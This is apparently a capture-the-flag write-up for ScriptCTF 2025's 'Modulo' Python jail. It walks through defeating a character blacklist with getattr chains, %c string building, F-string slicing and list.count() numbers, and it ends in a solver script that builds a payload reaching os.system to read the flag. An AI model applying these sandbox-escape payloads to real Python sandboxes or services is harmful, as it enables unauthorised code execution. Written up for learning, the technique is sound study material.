ScriptCTF 2025 ~ Pyjail solved with 26,578 bytes

Back to home


🏆 ScriptCTF 2025 Best Unintended writeup winner

Challenge Name: Modulo

Category: Misc
Points: 500
Solves: 20 solves
Challenge Description: Modulo is so cool!

Files:


Kickoff

This is one of the craziest Pyjails I’ve ever played and I thought it deserves a writeup. There were over 1800 teams and only 20 of them solved it, I managed to secure the third blood.
Please try to solve this challenge on your own first before you read this so you can understand better my thought process.

And I promise you, you’ll learn a lot of tricks!

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ast
print("Welcome to the jail! You're never gonna escape!")
payload = input("Enter payload: ") # No uppercase needed
blacklist = list("abdefghijklmnopqrstuvwxyz1234567890\\;._")
for i in payload:
assert ord(i) >= 32
assert ord(i) <= 127
assert (payload.count('>') + payload.count('<')) <= 1
assert payload.count('=') <= 1
assert i not in blacklist

tree = ast.parse(payload)
for node in ast.walk(tree):
if isinstance(node, ast.BinOp):
if not isinstance(node.op, ast.Mod): # Modulo because why not?
raise ValueError("I don't like math :(")
exec(payload,{'__builtins__':{},'c':getattr}) # This is enough right?
print('Bye!')

from the first look we can see it’s simply executing our payload with exec without any builtins.
also we have a very strict whitelist of chars

  • All capital letters from A to Z are allowed
  • only 1 lowercase letter allowed which is c
  • All numbers from 0-9 are blacklisted
  • Some symbols like ()%+:*.,[] are allowed

Base exploit

Since I’m a a Jinja STTI fan, I always go for the standard gadget to access the OS from any subclass of Object that imports it. If you don’t know what that is here is a veryyy good explanation

1
{}.__class__.__mro__[1].__subclasses__()[146].__init__.__globals__['os'].system("ls")

btw I used the Dockerfile locally to find which subclass number I need that imports os in it’s globals.

So.. why can’t we run this payload yet?

  • We can’t access any attribute/method like __class__ since [a-z] and _ are blacklisted (except c)
  • We can’t create strings like "cat /flag.txt" since again lowercase chars are blacklisted
  • We can’t create numbers like 146 since [0-9] are blacklisted

I’ll explain my exploit into 3 steps each time breaking one of these rules

Making a payload

1. Attributes

This one is pretty easy and straight forward to bypass, let’s take a look at the command used to execute our payload

1
exec(payload,{'__builtins__':{},'c':getattr})

They are passing c as getattr and we are allowed to type the letter c.
So we can use getattr({},'__class__') instead of {}.__class__, so this is our new payload

1
c(c(c(c(c(c({},'__class__'),'__mro__')[1],'__subclasses__')()[146],'__init__'),'__globals__')['os'],'system')("ls")

2. Strings

Okay now let’s find a way to bypass the strings so we don’t have type any lowercase character.
I was googling for python string prefixes like f"abc" and u"abc" that might be useful because I thought about an Idea I’ll use and explain later.
While searching, I found this. Apparently you can write any string with numbers with using "%c" % <ASCII_CODE> .
The feature is called Python Modulo String Formatting so it matches the task name!

1
print("%c%c%c" % (65,66,67)) # this will print ABC

Since we are allowed to use %,c,() and " we can replace strings like

1
2
3
"__mro__" == "%c%c%c%c%c%c%c" % (95, 95, 109, 114, 111, 95, 95)  # True
"os" == "%c%c" % (111, 115) # True
"system" == "%c%c%c%c%c%c" % (115, 121, 115, 116, 101, 109) # True

our new payload

1
(c(c(c(c(c([],'%c%c%c%c%c%c%c%c%c'%(95,95,99,108,97,115,115,95,95)),'%c%c%c%c%c%c%c'%(95,95,109,114,111,95,95))[O],'%c%c%c%c%c%c%c%c%c%c%c%c%c%c'%(95,95,115,117,98,99,108,97,115,115,101,115,95,95))()[146],'%c%c%c%c%c%c%c%c'%(95,95,105,110,105,116,95,95)),'%c%c%c%c%c%c%c%c%c%c%c'%(95,95,103,108,111,98,97,108,115,95,95))['%c%c'%(111,115)],'%c%c%c%c%c%c'%(115,121,115,116,101,109))('%c%c%c%c%c%c%c%c%c%c%c%c'%(99,97,116,32,102,108,97,103,46,116,120,116))

3. Numbers

All we have to do is to generate numbers such as 146,95,111,etc… and our payload will give us RCE !
A common way is to generate a number like ONE=1 and keep adding it.
So for example, if we want 95 we will have ONE+ONE+ONE+ONE+...(91 more times)
Uppercase chars allowed so I used them to create a variable to store 1 in a variable called ONE and the way to generate it was like this

1
ONE = ~~([] < [[]])

Short explanation

1
2
3
4
5
6
7
8
[] < [[]] # True, because an empty list is considered less than a non-empty list
# In Python, True and False are actually integers: True == 1, False == 0
# Applying the bitwise NOT operator (~) flips all bits of the number:
# ~1 = -2 (because ~n == -(n+1))
# ~(-2) = 1

# So doing a double bitwise NOT on True converts it to an integer 1
~~(True) == 1

Now we are ready!!!!!
we should be able to generate A by adding ONEs until we reach 65 and use it in %c, RIGHT????

1
((ONE := ~~([] < [[]])) , "%c" % ONE+ONE+ONE+..(62 more times) ) # should give A

WTF ???? (Unintended)

I ran my script to get the flag 🔥 .. but there was no flag!

This part is where it will get CRAZY and from what I heard from the author after showing him my solver, this is unintended (squar3 moment) and there is an easier way.

Apparently, when I read the source code I missed a very important part :<

1
2
3
4
5
tree = ast.parse(payload)
for node in ast.walk(tree):
if isinstance(node, ast.BinOp):
if not isinstance(node.op, ast.Mod): # Modulo because why not?
raise ValueError("I don't like math :(")

Only Modulo(%) operations are allowed, NO + NO * NO /. So doing ONE+ONE+ONE+ONE+... will simply trigger the error I don't like math :(

So let’s think of a way to generate numbers like 65 so we can turn them into A.
As I said earlier I wanted to do something with prefixes because I thought about a way to generate a specific string. this works because the f string prefix which helps us use variables in strings: (I used capital F because lowercase chars are banned)

1
2
c = getattr # we have this in the exec
F"{c}" == "<built-in function getattr>" # True

I didn’t know what I can do with this when I found it until we reached here and I remembered we now have a variable ONE and we can take any character from this string.
example:

1
2
3
4
5
6
7
F"{c}"[0] == "<"
F"{c}"[1] == "b"
F"{c}"[2] == "u"
# We have ONE=1 so...
F"{c}"[ONE] == "b"
# And
F"{c}"[ONE:][ONE] == "u"

and we can generate any string including these characters for example

1
2
3
4
5
6
"%c%c%c" % (F"{c}"[ONE], F"{c}"[ONE:][ONE], F"{c}"[ONE]) == "bub"

# so now we can use
getattr(anyvariable,"%c%c%c" % (F"{c}"[ONE], F"{c}"[ONE:][ONE], F"{c}"[ONE]))
# and it's the same as
anyvariable.bub

I started listing attributes and methods of each python object using
print(dir(c)) , print(dir({})) , print(dir([])) and so on…
looking for something I can grab with characters from the string "<built-in function getattr>" that can help me.

Firstly, I thought about getattr('ANYTHING','__len__') which can help me generate any number from string length, but _ is banned and not in the string "<built-in function getattr>".. so plan failed!

Then I found something that looked promising

1
2
>>> dir([])
['__add__', '__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getstate__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

[].count() is what we are looking for. the chars c,o,u,n,t are all included in "<built-in function getattr>" string

1
2
3
4
5
6
"<built-in function getattr>" == F"{c}"
"c" == "c" # since c is not blacklisted
"o" == F"{c}"[16] # or F"{c}"[ONE:][ONE:]ONE:]....[ONE]
"u" == F"{c}"[2] # or F"{c}"[ONE:][ONE]
"n" == F"{c}"[8]
"t" == F"{c}"[5]

now, [].count() can help us get any number we want for example

1
2
[c,c,c,c,c,c].count(c) # 6
[c,c,c,c,c,c,c,...(58 more)].count(c) # 65

and to generate the string count we had to do

1
"c%c%c%c%c" % (F"{c}"[ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE],F"{c}"[ONE:][ONE],F"{c}"[ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE:][ONE],F"{c}"[ONE:][ONE:][ONE:][ONE:][ONE]))

That’s it.. now we can generate numbers without + sign I just have to make a program that turn numbers into their equivalent formula of [c,c,c,c,c,c,..].count(c)

solver.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def getnum(n: int) -> str:
# Get payload to generate number `n` using [c,c,c,c,c,c].count(c) method
x = (
'c([' + ','.join(['c']*n) + '],"c%c%c%c%c"%('
'f"{c}"[O:][O:][O:][O:][O:][O:][O:][O:][O:][O:][O:][O:][O:][O:][O:][O],' # letter o
'f"{c}"[O:][O],' # letter u
'f"{c}"[O:][O:][O:][O:][O:][O:][O:][O],'# letter n
'f"{c}"[O:][O:][O:][O:][O]' # letter t
'))(c)'
)
return x

def generate_string(s: str) -> str:
# Encode string `s` into %c format
codes = ", ".join(getnum(ord(ch)) for ch in s)
return f"'{'%c' * len(s)}' % ({codes})"

command = "cat flag.txt"
payload = rf"(O := ~~([] < [[]])), c(c(c(c(c(c([],{generate_string('__class__')}),{generate_string('__mro__')})[O],{generate_string('__subclasses__')})()[{getnum(146)}],{generate_string('__init__')}),{generate_string('__globals__')})[{generate_string('os')}],{generate_string('system')})({generate_string(command)})"

print("Payload:",payload)
print("Payload length:",len(payload))
# send payload to the server
1
2
Payload Sent: 26578 bytes
scriptCTF{my_p4yl04d_1s_0v3r_15k_by73s_y0urs?_e3e25110d3e0}

Unintended+++

Even tho I got the flag! After the ctf ended, I was searching for more crazy things I can do with this task.

Apparently this all works because the author forgot to remove all uppercase characters and allowing us to use the F prefix. so let’s keep abusing it!
After a while, I managed to solve Modulo task without using any Modulo operator

The only thing I did was changing the Python Modulo String Formatting to just F prefix strings

1
2
"%c%c" % (65,65) # AA 
F"{65:c}{65:c}" # AA

while keep using the WTF way for replacing numbers !

Thank you all for reading!

Back to home